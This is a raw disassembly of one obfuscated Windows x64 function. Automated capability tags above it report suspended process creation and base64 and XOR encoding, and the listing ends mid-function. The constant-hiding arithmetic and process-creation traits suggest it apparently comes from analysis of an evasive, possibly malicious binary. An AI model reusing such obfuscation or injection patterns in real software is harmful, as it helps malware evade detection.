Function at 0x140015ca4
Capabilities:
Create process on windows
Create process suspended
Encode data using base64
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x60], xmm6
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov rsi, rcx
mov eax, dword [0x140297f68]
mov ecx, dword [0x140297f6c]
shrd ecx, eax, 8
xor ecx, 0xbf6c2a65
mov eax, ecx
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov r15, rsp
imul eax, dword [0x140297f70], 0x1c390724
imul ecx, dword [0x140297f74], 0x640e1310
add eax, ecx
add eax, 0x277b35cd
lea rcx, [rax*8 + 0xf]
movabs rax, 0x7fffffff0
and rax, rcx
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x20], rsp
mov eax, dword [0x140297f78]
mov ecx, dword [0x140297f7c]
shrd ecx, eax, 0xc
xor ecx, 0x794dc943
mov eax, ecx
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp], rsp
imul eax, dword [0x140297f80], 0x183ed315
imul ecx, dword [0x140297f84], 0x22eb56a1
add eax, ecx
add eax, 0xc21cd6f0
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, dword [0x140297f88]
mov ecx, dword [0x140297f8c]
shrd ecx, eax, 0x19
xor ecx, 0xf5aaed12
mov eax, ecx
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x50], rsp
imul eax, dword [0x140297f90], 0x7345636a
imul ecx, dword [0x140297f94], 0xb2848e51
add eax, ecx
add eax, 0x1c5fc611
lea rax, [rax + rax*4]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x28], rsp
mov eax, dword [0x140297f98]
mov ecx, dword [0x140297f9c]
shrd ecx, eax, 0x18
xor ecx, 0xd0a051b9
mov eax, ecx
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x40], rsp
imul eax, dword [0x140297fa0], 0x7eb30150
imul ecx, dword [0x140297fa4], 0x13d61b3d
add eax, ecx
add eax, 0x24ac3a42
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, dword [0x140297fa8]
mov ecx, dword [0x140297fac]
shrd ecx, eax, 0x1b
xor ecx, 0x6a77ec83
mov eax, ecx
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x48], rsp
mov eax, dword [0x140297fb0]
mov ecx, dword [0x140297fb4]
shrd ecx, eax, 2
xor ecx, 0x9b0833e2
mov eax, ecx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x30], rsp
imul eax, dword [0x140297fb8], 0xd7467da3
imul ecx, dword [0x140297fbc], 0xbed9be54
add eax, ecx
add eax, 0xfe9ce6f5
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov r14, rsp
mov eax, dword [0x140297fc0]
mov ecx, dword [0x140297fc4]
shrd ecx, eax, 3
xor ecx, 0xc610a60f
mov eax, ecx
lea rax, [rax + rax*4]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x10], rsp
imul eax, dword [0x140297fc8], 0x60cd331
imul ecx, dword [0x140297fcc], 0x9377c5b1
add eax, ecx
add eax, 0x8d41ac24
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x38], rsp
mov eax, dword [0x140297fd0]
mov ecx, dword [0x140297fd4]
shrd ecx, eax, 0x11
xor ecx, 0x8b496113
mov eax, ecx
imul rax, rax, 0x1388
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, dword [0x140297fd8]
mov ecx, dword [0x140297fdc]
shrd ecx, eax, 0xc
xor ecx, 0x4cb2f2e9
mov eax, ecx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, dword [0x140297fe0]
mov ecx, dword [0x140297fe4]
shrd ecx, eax, 4
xor ecx, 0xc841169
mov eax, ecx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 0x68], rsp
imul eax, dword [0x140297fe8], 0x2d8378eb
imul ecx, dword [0x140297fec], 0xacac3a40
add eax, ecx
add eax, 0x53512ab7
imul rax, rax, 0x105
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, dword [0x140297ff0]
mov ecx, dword [0x140297ff4]
shrd ecx, eax, 2
xor ecx, 0x648c0c30
mov eax, ecx
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp + 0x18], rsp
mov eax, dword [0x140297ff8]
mov ecx, dword [0x140297ffc]
shrd ecx, eax, 0x11
xor ecx, 0xa66ef043
mov eax, ecx
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov qword [rbp - 8], rsp
imul eax, dword [0x140298000], 0x285376d5
imul ecx, dword [0x140298004], 0x70576af1
add eax, ecx
add eax, 0x5ef5775d
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov r11, rsp
imul eax, dword [0x140298008], 0x209935d0
imul ecx, dword [0x14029800c], 0x170b4f44
add eax, ecx
add eax, 0x7c3a1179
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov rdi, rsp
mov eax, dword [0x140298010]
mov ecx, dword [0x140298014]
shrd ecx, eax, 0x15
xor ecx, 0x366d819c
mov eax, ecx
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov rbx, rsp
imul eax, dword [0x140298018], 0xe31f9d21
imul ecx, dword [0x14029801c], 0x37a86f82
add eax, ecx
add eax, 0x3bdca679
shl rax, 5
call fcn.1400fe1d0
sub rsp, rax
mov r10, rsp
imul eax, dword [0x140298020], 0x2e9a97fa
imul r12d, dword [0x140298024], 0x876fd848
add eax, r12d
add eax, 0xfaaccfe5
imul rax, rax, 0x68
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov r12, rsp
mov eax, dword [0x140298028]
mov r13d, dword [0x14029802c]
shrd r13d, eax, 0x1b
xor r13d, 0xff3a9637
mov eax, r13d
lea rax, [rax + rax*2]
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400fe1d0
sub rsp, rax
mov rax, rsp
mov r13, qword [rsi + 0x90]
movabs rdx, 0xe3a5f3cc2a7d229d
imul rdx, qword [0x140298030]
movabs r8, 0x1afde119ae85f549
imul r8, qword [0x140298038]
add r8, rdx
movabs rdx, 0xad931aed4213f5c3
add rdx, r8
and rdx, r13
mov r8, qword [0x140298040]
mov r9, qword [0x140298048]
shrd r9, r8, 0x15
movabs r8, 0xf224a7c97a99aef
xor r8, r9
cmp rdx, r8
jne 0x1400178cb
mov qword [rbp - 0x28], r15
mov rcx, qword [rbp + 0x20]
mov qword [rbp - 0x40], rcx
mov rcx, qword [rbp]
mov qword [rbp - 0x48], rcx
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x28]
mov r9, qword [rbp + 0x40]
mov qword [rbp], r9
mov r9, qword [rbp - 0x30]
mov qword [rbp + 0x50], r9
mov r9, qword [rbp + 0x48]
mov qword [rbp + 0x20], r9
mov r9, qword [rbp + 0x30]
mov qword [rbp + 0x28], r9
mov r9, qword [rbp + 0x10]
mov qword [rbp + 0x48], r9
mov r9, qword [rbp + 0x38]
mov qword [rbp + 0x10], r9
mov r9, qword [rbp + 0x18]
mov qword [rbp - 0x60], r9
mov r9, qword [rbp - 8]
mov qword [rbp - 0x10], r9
mov r13, r11
mov qword [rbp - 0x18], rdi
mov qword [rbp + 0x18], rbx
mov rbx, rdx
mov qword [rbp - 8], r10
mov qword [rbp - 0x50], r12
mov r12, r8
mov qword [rbp - 0x58], rax
sub rsp, 0x20
mov qword [rbp + 0x40], rcx
call fcn.1400191e4
add rsp, 0x20
lea rax, [rsi + 0x60]
mov qword [rbp - 0x30], rax
xorps xmm6, xmm6
movabs r15, 0xf8365b6955718326
mov rdi, rsi
movabs rsi, 0x6a118deab73d871a
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x30], rdi
mov qword [rbp - 0x20], rbx
mov qword [rbp + 8], r12
movzx eax, byte [0x140298068]
movzx ecx, byte [0x140298069]
lea edx, [rax + rax*4]
lea eax, [rax + rdx*4]
shl ecx, 3
lea ecx, [rcx + rcx*4]
add cl, al
add cl, 0x95
cmp byte [rdi + 0x10], cl
je 0x1400174e2
nop
sub rsp, 0x20
mov rcx, qword [rbp - 0x48]
mov rdx, rbx
call fcn.140077158
add rsp, 0x20
nop
mov r13, qword [rbx]
mov rdi, qword [rbx + 8]
cmp r13, rdi
je 0x14001702a
mov r8, qword [rbp]
mov qword [r8], 0
mov rax, qword [0x140298070]
mov rcx, qword [0x140298078]
shrd rcx, rax, 0x16
xor rcx, rsi
mov qword [r8 + 0x10], rcx
mov rax, qword [0x140298080]
mov rcx, qword [0x140298088]
shrd rcx, rax, 0x21
movabs rax, 0xa90598440c007489
xor rcx, rax
mov qword [r8 + 0x18], rcx
mov al, byte [0x140298090]
mov cl, byte [0x140298091]
shr cl, 6
shl al, 2
or al, cl
xor al, 0xcd
mov byte [r8], al
mov eax, dword [0x140298094]
mov ecx, dword [0x140298098]
shrd ecx, eax, 8
mov edx, ecx
xor edx, 0xd086a5b7
nop
sub rsp, 0x20
mov rcx, r12
call fcn.14001935a
add rsp, 0x20
nop
mov rbx, qword [rbp + 0x50]
mov r9, qword [rbp]
mov rax, qword [r9 + 0x18]
mov rcx, qword [0x1402980a0]
movabs rdx, 0x3810d891191c65a1
imul rcx, rdx
mov rdx, qword [0x1402980a8]
movabs r8, 0xe8c28ae6317a2aa4
imul rdx, r8
add rdx, rcx
movabs rcx, 0x2cbae68169f51c48
add rdx, rcx
cmp rax, rdx
jbe 0x1400164ca
mov rdx, qword [r9]
mov rcx, qword [0x1402980b0]
mov r8, qword [0x1402980b8]
shrd r8, rcx, 0x1e
mov rcx, r8
movabs r8, 0xb6692abd395a1fe1
xor rcx, r8
mov r8, qword [0x1402980c0]
mov r9, qword [0x1402980c8]
shrd r9, r8, 0x30
add rcx, rax
movabs r8, 0x652e6449fde07761
xor r9, r8
cmp rcx, r9
jbe 0x1400164b0
mov rcx, qword [rdx - 8]
mov r8, qword [0x1402980d0]
mov r9, qword [str._b_V]
shrd r9, r8, 0x10
movabs r8, 0x30433ab7af46c2ae
xor r9, r8
add r9, rdx
sub r9, rcx
mov rdx, qword [0x1402980e0]
movabs r8, 0xd3d2cc2f51e6fe26
imul rdx, r8
mov r8, qword [0x1402980e8]
movabs r10, 0xdcd8db3a728977bc
imul r8, r10
add r8, rdx
movabs rdx, 0xee900c76cd3ad374
add r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x1402980f0]
mov r8, qword [0x1402980f8]
shrd r8, rdx, 6
movabs rdx, 0x5041cefe2cda072c
xor r8, rdx
add rax, r8
jmp 0x1400164b6
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [0x140298100]
movabs rcx, 0x40961ee56ceb9bbc
imul rax, rcx
mov rcx, qword [0x140298110]
mov rdx, qword [0x140298118]
shrd rdx, rcx, 0x16
mov rcx, qword [0x140298108]
movabs r8, 0x1ba311c1beee292b
imul rcx, r8
add rcx, rax
lea r12, [r13 + 0x20]
movabs rax, 0xdd70be5a3cdc4d78
add rcx, rax
mov qword [r9 + 0x10], rcx
movabs rax, 0xd199c481f07eeb53
xor rdx, rax
mov qword [r9 + 0x18], rdx
mov al, byte [0x140298120]
mov cl, byte [0x140298121]
shr cl, 3
shl al, 5
or al, cl
xor al, 0x4a
mov byte [r9], al
movzx edx, word [r12]
nop
sub rsp, 0x20
mov rcx, qword [rbp + 0x20]
call fcn.14002a965
add rsp, 0x20
nop
nop
sub rsp, 0x30
mov rax, qword [rbp + 8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x30]
mov r9, r13
call fcn.140077db5
add rsp, 0x30
nop
mov rax, qword [0x140298128]
mov rcx, qword [0x140298130]
shrd rcx, rax, 0xe
mov r8, qword [rbp + 0x20]
mov rax, qword [r8 + 0x18]
movabs rdx, 0x69281fc9f814d25a
xor rcx, rdx
cmp rax, rcx
jbe 0x1400166ef
mov rcx, qword [r8]
mov rdx, qword [0x140298138]
movabs r8, 0xeef13776aa26f9b8
imul rdx, r8
mov r8, qword [0x140298140]
movabs r9, 0x305d57c2d795d2ed
imul r8, r9
add r8, rdx
movabs rdx, 0x5a2f1952faf5d992
lea r9, [rax + rdx]
mov rdx, r8
add rdx, r9
mov r8, qword [0x140298148]
movabs r9, 0xbb65592767db7c6c
imul r8, r9
mov r9, qword [0x140298150]
movabs r10, 0xa948a2f1200009bc
imul r9, r10
add r9, r8
movabs r8, 0x6981aebbc7ba384f
add r9, r8
cmp rdx, r9
jbe 0x1400166de
mov rdx, qword [rcx - 8]
mov r8, qword [0x140298158]
mov r9, qword [0x140298160]
shrd r9, r8, 0x36
movabs r8, 0xcc57b10f5fc48d9
xor r9, r8
add r9, rcx
mov rcx, qword [0x140298168]
mov r8, qword [0x140298170]
shrd r8, rcx, 0x11
sub r9, rdx
movabs rcx, 0x2c992859527cc83a
xor r8, rcx
cmp r9, r8
jae 0x140018ab4
mov rcx, qword [0x140298178]
movabs r8, 0xabf61dc52efbf162
imul rcx, r8
mov r8, qword [0x140298180]
movabs r9, 0xfd35dd68b58d3970
imul r8, r9
add r8, rcx
movabs rcx, 0x7e15836f11e992dc
add rax, rcx
add rax, r8
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov r8, qword [rbp + 0x20]
mov rax, qword [0x140298188]
movabs rcx, 0x7df4aee4f074ca75
imul rax, rcx
mov rcx, qword [0x140298190]
movabs rdx, 0x786ab9387edbf40c
imul rcx, rdx
add rcx, rax
mov rax, qword [0x140298198]
mov rdx, qword [0x1402981a0]
shrd rdx, rax, 0x3c
movabs rax, 0x5ed404ca5d747e4a
add rcx, rax
mov qword [r8 + 0x10], rcx
movabs rax, 0x1c446019f04bc93d
xor rdx, rax
mov qword [r8 + 0x18], rdx
movzx eax, byte [0x1402981a8]
movzx ecx, byte [0x1402981a9]
imul eax, eax, 0xffffff82
mov edx, ecx
shl edx, 6
add edx, ecx
neg edx
mov ecx, edx
add cl, al
add cl, 0x8b
mov byte [r8], cl
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
call fcn.140019509
add rsp, 0x20
mov rcx, rbx
mov ebx, 5
test al, al
jne 0x140016dcb
imul eax, dword [str.X4], 0xd9d951da
mov rdx, qword [rcx]
imul ecx, dword [0x1402981b0], 0x902a49c4
lea r8d, [rax + rcx]
add r8d, 0x471ba615
mov rax, qword [0x1402981b8]
movabs rcx, 0x259acffc94fb6d69
imul rax, rcx
mov rcx, qword [0x1402981c0]
movabs r9, 0x38fbc735ed1f1e5c
imul rcx, r9
add rcx, rax
mov r9, rcx
movabs rax, 0x1b440f3bd3bb8e86
add r9, rax
nop
sub rsp, 0x30
mov rax, qword [rbp + 8]
mov qword [rsp + 0x20], rax
mov rbx, qword [rbp + 0x28]
mov rcx, rbx
call fcn.14009ef11
add rsp, 0x30
nop
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
call fcn.140019511
add rsp, 0x20
test al, al
je 0x14001684b
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax]
nop
sub rsp, 0x20
call fcn.1400a28cd
add rsp, 0x20
nop
mov ebx, 5
jmp 0x140016dae
nop
sub rsp, 0x20
mov rcx, qword [rbp + 0x48]
mov rdx, r13
mov r8, r12
call fcn.14001951a
add rsp, 0x20
nop
movups xmmword [r14], xmm6
mov qword [r14 + 0x10], 0
mov rax, qword [0x1402981c8]
movabs rcx, 0xc7ddb6166bb2223b
imul rax, rcx
mov rcx, qword [0x1402981d0]
movabs rdx, 0xfc2b87e1d90bbcc3
imul rcx, rdx
add rcx, rax
movabs rax, 0xecc3dd973bb9bae8
add rcx, rax
nop
sub rsp, 0x20
call fcn.1400d87f8
add rsp, 0x20
nop
mov rcx, rax
mov qword [r14], rax
mov qword [r14 + 8], rax
mov rbx, rax
add rbx, 0x28
mov qword [r14 + 0x10], rbx
mov rax, qword [rbp - 0x40]
mov qword [rax], r14
mov rax, qword [rbp - 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
nop
sub rsp, 0x20
mov rdx, qword [rbp + 0x48]
call fcn.14003d68e
add rsp, 0x20
nop
mov rax, qword [rbp - 0x28]
mov qword [rax + 8], rbx
mov qword [r14 + 8], rbx
nop
sub rsp, 0x20
mov rcx, qword [rbp - 0x48]
mov rdx, r14
call fcn.1400779b2
add rsp, 0x20
nop
mov r8, qword [rbp + 0x48]
mov rax, qword [r8 + 0x18]
mov rcx, qword [0x1402981d8]
movabs rdx, 0x21b8e6abf509913f
imul rcx, rdx
mov rdx, qword [0x1402981e0]
movabs r9, 0xb9b09c10d039a723
imul rdx, r9
add rdx, rcx
movabs rcx, 0xaea0262e20d63fad
add rdx, rcx
cmp rax, rdx
mov rbx, qword [rbp + 0x50]
jbe 0x140016ab5
mov rdx, qword [r8]
mov rcx, qword [0x1402981e8]
movabs r8, 0x4b1c3698a08f6dd0
imul rcx, r8
mov r8, qword [0x1402981f0]
movabs r9, 0x7ada73797dcd75d6
imul r8, r9
add r8, rcx
movabs rcx, 0x8fbbb3d6b53f9c33
lea r9, [rax + rcx]
mov rcx, r8
add rcx, r9
mov r8, qword [0x1402981f8]
movabs r9, 0xdf0010df75496926
imul r8, r9
mov r9, qword [0x140298200]
movabs r10, 0xdc4cc100b91d2e68
imul r9, r10
add r9, r8
movabs r8, 0x8099eba06eb94e59
add r9, r8
cmp rcx, r9
jbe 0x140016a9b
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298208]
mov r9, qword [0x140298210]
shrd r9, r8, 0x12
movabs r8, 0x783b7a5b2359643e
xor r9, r8
add r9, rdx
sub r9, rcx
mov rdx, qword [0x140298218]
movabs r8, 0x4ed6fd654c5c81fb
imul rdx, r8
mov r8, qword [str.Hpf]
movabs r10, 0x4fe0b89674492ea9
imul r8, r10
add r8, rdx
movabs rdx, 0x3e94112ecc11a4d8
add r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x140298228]
movabs r8, 0x8a93252610723b42
imul rdx, r8
mov r8, qword [str.I_S]
movabs r9, 0xf7185a239abcdbcd
imul r8, r9
add r8, rdx
movabs rdx, 0x1dd0a1b5840d9f9b
add rax, rdx
add rax, r8
jmp 0x140016aa1
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov r8, qword [rbp + 0x48]
mov rax, qword [0x140298238]
mov rcx, qword [0x140298240]
shrd rcx, rax, 0x34
movabs rax, 0x8715cafdc0efb20e
xor rcx, rax
mov qword [r8 + 0x10], rcx
mov rax, qword [0x140298248]
movabs rcx, 0xb6b6ebc1104e27d2
imul rax, rcx
mov rcx, qword [0x140298250]
movabs rdx, 0xa2a9e9d3ded954b2
imul rcx, rdx
add rcx, rax
movabs rax, 0x617dda21b890b009
add rcx, rax
mov qword [r8 + 0x18], rcx
mov al, byte [0x140298258]
mov cl, byte [0x140298259]
shr cl, 6
shl al, 2
or al, cl
xor al, 0xd
mov byte [r8], al
mov rax, qword [rbp + 0x28]
mov r8, qword [rax]
mov rdx, qword [rbx]
nop
sub rsp, 0x20
mov rcx, qword [rbp + 0x30]
call fcn.1400196a4
add rsp, 0x20
nop
test al, al
je 0x140016d93
movzx edx, word [r12]
nop
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
call fcn.14002a965
add rsp, 0x20
nop
mov rax, qword [rbp + 0x28]
mov r8, qword [rax]
mov rax, qword [rbp + 0x50]
mov rdx, qword [rax]
nop
sub rsp, 0x30
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x30]
mov r9, r13
call fcn.14001c226
add rsp, 0x30
nop
mov rbx, qword [rbp + 0x10]
mov rax, qword [rbx + 0x18]
mov rcx, qword [0x140298260]
movabs rdx, 0x8d3836fe3a0eca1a
imul rcx, rdx
mov rdx, qword [0x140298268]
movabs r8, 0x89ff6b3ccfd52440
imul rdx, r8
add rdx, rcx
movabs rcx, 0x19f55fd9627e1f65
add rdx, rcx
cmp rax, rdx
jbe 0x140016d13
mov rcx, qword [0x140298270]
mov r8, qword [0x140298278]
shrd r8, rcx, 8
mov rdx, qword [rbx]
mov rcx, r8
movabs r8, 0xeb1bf193acc842f9
xor rcx, r8
add rcx, rax
mov r8, qword [0x140298280]
movabs r9, 0x11b7c04a86b4d7e9
imul r8, r9
mov r9, qword [0x140298288]
movabs r10, 0x870c5d96994a8e24
imul r9, r10
add r9, r8
movabs r8, 0x26fefacb14cdb5b2
add r9, r8
cmp rcx, r9
jbe 0x140016cfd
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298290]
movabs r9, 0x7842522f4570b77b
imul r8, r9
mov r9, qword [0x140298298]
movabs r10, 0xae041667f1869a4f
imul r9, r10
add r9, r8
add r9, rdx
sub r9, rcx
movabs rdx, 0xabf220095059ccf7
add r9, rdx
mov rdx, qword [0x1402982a0]
movabs r8, 0xf39cee1ab1863b0e
imul rdx, r8
mov r8, qword [0x1402982a8]
movabs r10, 0xfe4b5bd81254a10e
imul r8, r10
add r8, rdx
movabs rdx, 0xf1be8d8e25479bd4
add r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x1402982b0]
mov r8, qword [0x1402982b8]
shrd r8, rdx, 0x29
movabs rdx, 0xaed914a5996648be
xor r8, rdx
add rax, r8
jmp 0x140016d03
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov rax, qword [0x1402982c0]
mov rcx, qword [0x1402982c8]
shrd rcx, rax, 0x31
movabs rax, 0x3d986f2660941939
xor rcx, rax
mov qword [rbx + 0x10], rcx
mov rax, qword [0x1402982d0]
movabs rcx, 0xd1217a7304aff070
imul rax, rcx
mov rcx, qword [0x1402982d8]
movabs rdx, 0xf97e293a31436ba2
imul rcx, rdx
add rcx, rax
movabs rax, 0xf575e459f257d5db
add rcx, rax
mov qword [rbx + 0x18], rcx
movzx eax, byte [0x1402982e0]
movzx ecx, byte [reloc.WS2_32.dll_ntohl]
lea edx, [rax + rax*4]
lea eax, [rax + rdx*2]
imul ecx, ecx, 0xffffffeb
add cl, al
add cl, 0x9e
mov byte [rbx], cl
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax]
nop
sub rsp, 0x20
call fcn.1400a28cd
add rsp, 0x20
nop
mov ebx, 4
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
test rcx, rcx
je 0x140016dc7
sub rsp, 0x20
call fcn.1400d8834
add rsp, 0x20
mov rcx, qword [rbp + 0x50]
mov r12, qword [rcx]
test r12, r12
je 0x140016e02
lea rcx, [r12 + 0xa8]
sub rsp, 0x20
call fcn.14003c0e4
add rsp, 0x20
lea rcx, [r12 + 8]
sub rsp, 0x20
call fcn.14003d088
mov rcx, r12
call fcn.1400d8834
add rsp, 0x20
mov rax, qword [0x140298370]
mov rcx, qword [0x140298378]
shrd rcx, rax, 0x2f
mov r12, qword [rbp + 8]
mov rax, qword [r12 + 0x20]
movabs rdx, 0x24285095568a1622
xor rcx, rdx
cmp rax, rcx
jbe 0x140016f7f
mov rdx, qword [r12 + 8]
mov rcx, qword [0x140298380]
movabs r8, 0xb737a8e2b33beffb
imul rcx, r8
mov r8, qword [0x140298388]
movabs r9, 0xac78fd2ee99698f7
imul r8, r9
add r8, rcx
movabs rcx, 0x486a3a8347d37283
lea r9, [rax + rcx]
mov rcx, r8
add rcx, r9
mov r8, qword [0x140298390]
movabs r9, 0x2d7e8d4193ab104b
imul r8, r9
mov r9, qword [0x140298398]
movabs r10, 0xff18aae2f53b2c71
imul r9, r10
add r9, r8
movabs r8, 0xf80ca0de4d1f8b66
add r9, r8
cmp rcx, r9
jbe 0x140016f69
mov rcx, qword [rdx - 8]
mov r8, qword [0x1402983a0]
movabs r9, 0xa99525943f6beb18
imul r8, r9
mov r9, qword [0x1402983a8]
movabs r10, 0xa6bdca09a905bdd6
imul r9, r10
add r9, r8
add r9, rdx
sub r9, rcx
mov rdx, qword [0x1402983b0]
mov r8, qword [0x1402983b8]
shrd r8, rdx, 0x31
movabs rdx, 0xd00e5acc1944dbfc
add r9, rdx
movabs rdx, 0x47fb72d649d5cd13
xor r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x1402983c0]
movabs r8, 0xba3134fb4184a73e
imul rdx, r8
mov r8, qword [0x1402983c8]
movabs r9, 0x332a2a9a12e4199f
imul r8, r9
add r8, rdx
movabs rdx, 0xc3478e50f9e7c468
add rax, rdx
add rax, r8
jmp 0x140016f6f
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov rax, qword [0x1402983d0]
movabs rcx, 0x80d2bdc5c902a27
imul rax, rcx
mov rcx, qword [0x1402983d8]
movabs rdx, 0xe5775eddf71609c9
imul rcx, rdx
add rcx, rax
movabs rax, 0x1a43aadb507bd1d7
add rcx, rax
mov qword [r12 + 0x18], rcx
mov rax, qword [0x1402983e0]
mov rcx, qword [0x1402983e8]
shrd rcx, rax, 4
movabs rax, 0xbbfc8d561ccff5e7
xor rcx, rax
mov qword [r12 + 0x20], rcx
movzx eax, byte [0x1402983f0]
movzx ecx, byte [0x1402983f1]
imul eax, eax, 0xffffffe6
imul ecx, ecx, 0x3b
add cl, al
add cl, 0xbd
imul eax, dword [0x1402983f4], 0x91a7f26d
imul edx, dword [0x1402983f8], 0x2527dad2
mov byte [r12 + 8], cl
mov ecx, edx
add eax, ecx
add eax, 0x62d0f229
add r13, 0x28
cmp ebx, eax
je 0x1400162e8
mov al, byte [0x1402983fc]
mov cl, byte [0x1402983fd]
shr cl, 2
shl al, 6
or al, cl
xor al, 0x90
mov rdi, qword [rbp + 0x30]
cmp byte [rdi + 0x10], al
mov r13, qword [rbp + 0x38]
je 0x1400171df
nop
sub rsp, 0x20
call fcn.1400e73ac
add rsp, 0x20
nop
mov ecx, eax
mov eax, dword [0x140298400]
mov edx, dword [0x140298404]
shrd edx, eax, 0x13
xor edx, 0x6ea2563f
mov r10, qword [rbp - 0x78]
mov dword [r10 + 0x1384], edx
mov dword [r10 + 4], ecx
mov eax, 1
movabs r9, 0x1849fbb6f5c2e74d
movabs r11, 0xc8cfa5857e7ffca1
movabs rbx, 0x647605aeab9b0e5e
movabs r13, 0x26362ec8df1e87b2
mov rsi, r15
movabs r15, 0x10e8d8ff07f8691b
mov edx, ecx
imul ecx, dword [0x140298408], 0x6a03006
imul r8d, dword [0x14029840c], 0xc5fda723
add r8d, ecx
mov ecx, r8d
add cl, 0x4f
mov r8d, edx
shr r8d, cl
xor r8d, edx
imul ecx, dword [0x140298410], 0xf08ddf2c
imul edx, dword [0x140298414], 0x84bc8fbf
add ecx, edx
add ecx, 0x64d035f4
imul ecx, r8d
mov edx, eax
add ecx, edx
mov dword [r10 + rax*4 + 4], ecx
mov rdx, qword [0x140298418]
imul rdx, r9
mov r8, qword [0x140298420]
imul r8, r11
add r8, rdx
add rax, rbx
mov rdx, rax
add rdx, r8
mov rax, qword [0x140298428]
imul rax, r13
mov r8, qword [0x140298430]
imul r8, r15
add r8, rax
add r8, rsi
mov rax, rdx
cmp rdx, r8
jne 0x1400170c1
imul eax, dword [0x140298438], 0x9abf5d12
imul ecx, dword [0x14029843c], 0xb00825d7
mov edx, dword [0x140297a88]
mov r9d, dword [reloc.WS2_32.dll_ioctlsocket]
cmp edx, r9d
mov r8d, edx
cmova r8d, r9d
cmova r9d, edx
lea eax, [rax + rcx - 0x49e643a8]
mov dword [r10], eax
mov rcx, qword [rbp - 0x70]
mov dword [rcx], r8d
mov dword [rcx + 4], r9d
nop
sub rsp, 0x20
mov rdx, r10
call fcn.14003d802
add rsp, 0x20
nop
mov r15, rsi
movabs rsi, 0x6a118deab73d871a
mov r13, qword [rbp + 0x38]
cdqe
mov rdx, qword [rbp - 0x68]
mov qword [rdx], rax
nop
sub rsp, 0x20
mov rcx, rdi
call fcn.14001e5b2
add rsp, 0x20
nop
mov rbx, qword [rbp - 0x20]
mov rax, qword [rbx]
test rax, rax
je 0x1400162a3
mov rdi, qword [rbx + 8]
cmp rax, rdi
je 0x1400173f6
